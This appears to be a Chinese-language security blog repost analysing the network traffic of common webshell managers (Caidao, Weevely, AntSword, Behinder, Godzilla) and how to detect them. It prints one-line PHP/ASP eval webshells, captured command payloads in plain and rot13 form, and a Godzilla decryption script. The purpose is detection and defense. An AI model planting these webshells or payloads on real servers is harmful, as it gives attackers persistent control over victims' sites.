分享 | 常见webshell管理工具的分析记录(建议收藏)

admin 2022年11月26日21:54:41评论56 views字数 6996阅读23分19秒阅读模式

0x00 前言

常见webshell管理工具的分析记录,着重在流量侧。

0x01 Caidao

1、配置使用

菜刀是一款专业的网站管理软件,用途广泛,使用方便,小巧实用。支持动态脚本[如php/jsp/aspx/asp]的网站!常用功能:文件管理,虚拟终端,数据库管理,自写脚本。PHP:<?php @eval($_POST['chopper']);?>ASP:<%eval request("chopper")%>

分享 | 常见webshell管理工具的分析记录(建议收藏)

在配置功能是定义数据库信息,如:

<T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX中的一种<H>主机地址<H> 主机地址可为机器名或IP地址,如localhost<U>数据库用户</U> 连接数据库的用户名,如root<P>数据库密码</P> 连接数据库的密码,如123455<L>utf8</L> 这一项数据库类型为MYSQL脚本为PHP时可选,不填则为latin1


2、流量特征

分享 | 常见webshell管理工具的分析记录(建议收藏)

分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


获取到一句话的密码后,在把变量内的数据进行base64解码,再通过eval函数执行。

@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();


eval函数后带%01的字符,这样的写法在高版本的php中是无法执行,但低版本中会抛出告警后执行。


分享 | 常见webshell管理工具的分析记录(建议收藏)

3、检测技巧

一般根据关键函数特征进行检测判断。如php的代码执行函数和命令执行函数。

0x02 Weevely

1、配置使用

weevely也叫linux下的php菜刀,是一款使用python编写的webshell工具,集webshell生成和连接于一身,采用c/s模式构建。其具有很好的隐蔽性(生成随机参数且base64加密)。集成服务器错误配置审计,后门放置,暴力破解,文件管理,资源搜索,网络代理,命令执行,数据库操作,系统信息收集及端口扫描等功能。


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


通过对最后的变量进行打印输出,可以看到weevely生成的后门利用了base64加密方法结合字符串变形技巧,首层不会出现敏感函数只有str_replace函数,在还原到第二层的时候才看到譬如create_function、php:input、file_get_contents、eval、gzuncompress、gzcompress等函数。


2、流量特征


从流量侧明显看不到任何特征


分享 | 常见webshell管理工具的分析记录(建议收藏)


3、检测技巧


尽管在控制通道的流量侧无法进行特征检测,但可以在数据通道(上传过程)的流量侧进行分析。

weevely生成的后门利用了base64加密方法和字符串变形技巧,以此作为特征可进行检测。


0x03 AntSword

1、配置使用

中国蚁剑是一款开源的跨平台网站管理工具。为不同层次的人群提供最简单易懂、方便直接的代码展示及其修改说明,存在丰富的插件和生态。


https://github.com/AntSwordProject/AntSword-Loader

分享 | 常见webshell管理工具的分析记录(建议收藏)


<?php eval($_POST['ant']); ?>


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)

2、流量特征

默认配置下的antSword,其payload不做任何处理。


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


测试连接数据包获取了服务端相关信息,输入到缓冲区再由output变量接收,通过随机字符作为开始结束符定位变量输出位置。

ant=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.d22dd2d652c";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\|//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "b6ac94"."d645b6";echo @asenc($output);echo "973d1"."529fb";}ob_start();try{$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dir


新版antSword的ua也做了随机变换。


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


在内置的rot13编码和解码器下,数据会通过随机变量传递给str_rot13函数,通过变换还原后再交给eval函数执行。


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)

ant=@eval(@str_rot13($_POST['jac0da8b6de572']));&jac0da8b6de572=@vav_frg("qvfcynl_reebef", "0");@frg_gvzr_yvzvg(0);$bcqve=@vav_trg("bcra_onfrqve");vs($bcqve) {$bpjq=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);$bcnee=cert_fcyvg("/;|:/",$bcqve);@neenl_chfu($bcnee,$bpjq,flf_trg_grzc_qve());sbernpu($bcnee nf $vgrz) {vs(!@vf_jevgnoyr($vgrz)){pbagvahr;};$gzqve=$vgrz."/.n57op";@zxqve($gzqve);vs(!@svyr_rkvfgf($gzqve)){pbagvahr;}@puqve($gzqve);@vav_frg("bcra_onfrqve", "..");$pagnee=@cert_fcyvg("/\\|//",$gzqve);sbe($v=0;$v<fvmrbs($pagnee);$v++){@puqve("..");};@vav_frg("bcra_onfrqve","/");@ezqve($gzqve);oernx;};};;shapgvba nfrap($bhg){erghea fge_ebg13($bhg);};shapgvba nfbhgchg(){$bhgchg=bo_trg_pbagragf();bo_raq_pyrna();rpub "251q1"."3p2oq6";rpub @nfrap($bhgchg);rpub "81"."326";}bo_fgneg();gel{$Q=qveanzr($_FREIRE["FPEVCG_SVYRANZR"]);vs($Q=="")$Q=qveanzr($_FREIRE["CNGU_GENAFYNGRQ"]);$E="{$Q}  ";vs(fhofge($Q,0,1)!="/"){sbernpu(enatr("P","M")nf $Y)vs(vf_qve("{$Y}:"))$E.="{$Y}:";}ryfr{$E.="/";}$E.="  ";$h=(shapgvba_rkvfgf("cbfvk_trgrtvq"))?@cbfvk_trgcjhvq(@cbfvk_trgrhvq()):"";$f=($h)?$h["anzr"]:@trg_pheerag_hfre();$E.=cuc_hanzr();$E.="  {$f}";rpub $E;;}pngpu(Rkprcgvba $r){rpub "REEBE://".$r->trgZrffntr();};nfbhgchg();qvr();

返回的报文会交给antSword的对应解码器进行解码还原


分享 | 常见webshell管理工具的分析记录(建议收藏)

在内置的base64编码和解码器下,数据则会通过随机变量传递给base64_decode函数,通过解码还原后再交给eval函数执行。


分享 | 常见webshell管理工具的分析记录(建议收藏)

在RSA编码解码器下的配置过程


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


把生成的木马放到服务器中,选择RSA编码器进行测试


分享 | 常见webshell管理工具的分析记录(建议收藏)


在流量中已经看不到任何明显的特征


分享 | 常见webshell管理工具的分析记录(建议收藏)

3、检测技巧

在默认配置或者内置的普通编码器下,可以通过敏感关键函数特征进行检测判断。

在如RSA编码器下,尽管在控制通道的流量侧无法进行特征检测,但还是可以在数据通道的流量侧进行分析的。

0x04 rebeyond

1、配置使用

“冰蝎”是一款动态二进制加密网站管理工具。其支持php、jasp、asp、aspx,支持自定义请求头。

https://github.com/rebeyond/Behinder

分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


2、流量特征

流量侧不会存在明显的特征


分享 | 常见webshell管理工具的分析记录(建议收藏)

分享 | 常见webshell管理工具的分析记录(建议收藏)


对流量进行解密,在结合默认的”e45e329feb5d925b”(该密钥为连接密码32位md5值的前16位)下,首先进行aes解密,然后进行两次base64解码,才可看到执行信息


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)

3、检测技巧

由于做了加密传输,在流量侧不能通过关键函数进行检测。

在默认配置下,可以通过报文中的某些字段信息进行检测


分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


"Mozilla/5.0 (Macintosh; Intel Mac OS X 11_2_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36""Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:87.0) Gecko/20100101 Firefox/87.0""Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36""Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0""Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0)""Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2)""Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko""Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko""Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"

在数据通道做针对冰蝎木马的检测外。

在执行命令的过程中冰蝎存在两个父子关系的进程进行操作,还可以通过进程进行检测。


分享 | 常见webshell管理工具的分析记录(建议收藏)


0x05 Godzilla

1、配置使用

“哥斯拉”和“冰蝎”一样,是一款流量加密的网站管理工具。哥斯拉内置了3种Payload以及6种加密器,6种支持脚本后缀,20个内置插件。

https://github.com/BeichenDream/Godzilla

生成webshell

分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)


对于加密器

1、JavaDynamicPayloadJAVA_AES_BASE64:jsp、jspxJAVA_AES_RAW:jsp、jspx
2、CShapDynamicPayloadCSHAP_AES_BASE64:aspx、asmx、ashxJAVA_AES_RAW:aspx、asmx、ashx
3、PhpDynamicPayloadPHP_XOR_BASE64:phpPHP_XOR_RAW:php
XOR是将数据进行异或处理Raw是将加密后的数据直接发送或者输出Base64是将加密后的数据再进行Base64编码


连接webshell

分享 | 常见webshell管理工具的分析记录(建议收藏)


分享 | 常见webshell管理工具的分析记录(建议收藏)

2、流量特征

哥斯拉在建立webshell的连接过程中,连续发送三个http数据包


分享 | 常见webshell管理工具的分析记录(建议收藏)


第一个数据包的响应内容为空


分享 | 常见webshell管理工具的分析记录(建议收藏)


通过上面生成的webshell,对每个数据包进行逐一解密,把报文数据放到test内

<?phpfunction encode($D,$K){    for($i=0;$i<strlen($D);$i++) {        $c = $K[$i+1&15];        $D[$i] = $D[$i]^$c;    }    return $D;}$pass='pass';$payloadName='payload';$key='3c6e0b8a9c15224a';$data=encode(base64_decode('test'),$key);echo $data;


可以看到第一个包解密后存在一些特征代码块

$parameters=array();$_SES=array();function run($pms){    global $ERRMSG;    reDefSystemFunc();    $_SES=&getSession();    @session_start();    $sessioId=md5(session_id());    if (isset($_SESS


分享 | 常见webshell管理工具的分析记录(建议收藏)


对第二个包进行解密后的特征字符


methodName...test

(中间带有一些特征看不见的字符)


分享 | 常见webshell管理工具的分析记录(建议收藏)

第三个包解密后的特征字符


methodName&?/m?}%0K楬F

分享 | 常见webshell管理工具的分析记录(建议收藏)

3、检测技巧

除了以上的流量特征和在数据通道做针对哥斯拉的木马的检测外。

如果没有自定义报文字段,默认配置下的哥斯拉,可以把报文字段作为弱特征检测。


User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-type: application/x-www-form-urlencoded

另外,哥斯拉在执行命令的过程中存在三个组合的父子进程,也可以类似冰蝎一样检测恶意进程。


分享 | 常见webshell管理工具的分析记录(建议收藏)


0x06 综合防御

1、收敛网站权限2、在数据通道、控制通道和流量侧部署相关企业级产品


0x07 参考

安全客 -《巧用Zeek在流量层狩猎哥斯拉Godzilla》

作者:RJ45

原文地址:https://rj45mp.github.io/

文章排版:渗透Xiao白帽


仅用于学习交流,不得用于非法用途

如侵权请私聊公众号删文

原文始发于微信公众号(EchoSec):分享 | 常见webshell管理工具的分析记录(建议收藏)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月26日21:54:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   分享 | 常见webshell管理工具的分析记录(建议收藏)http://cn-sec.com/archives/1418977.html

发表评论

匿名网友 填写信息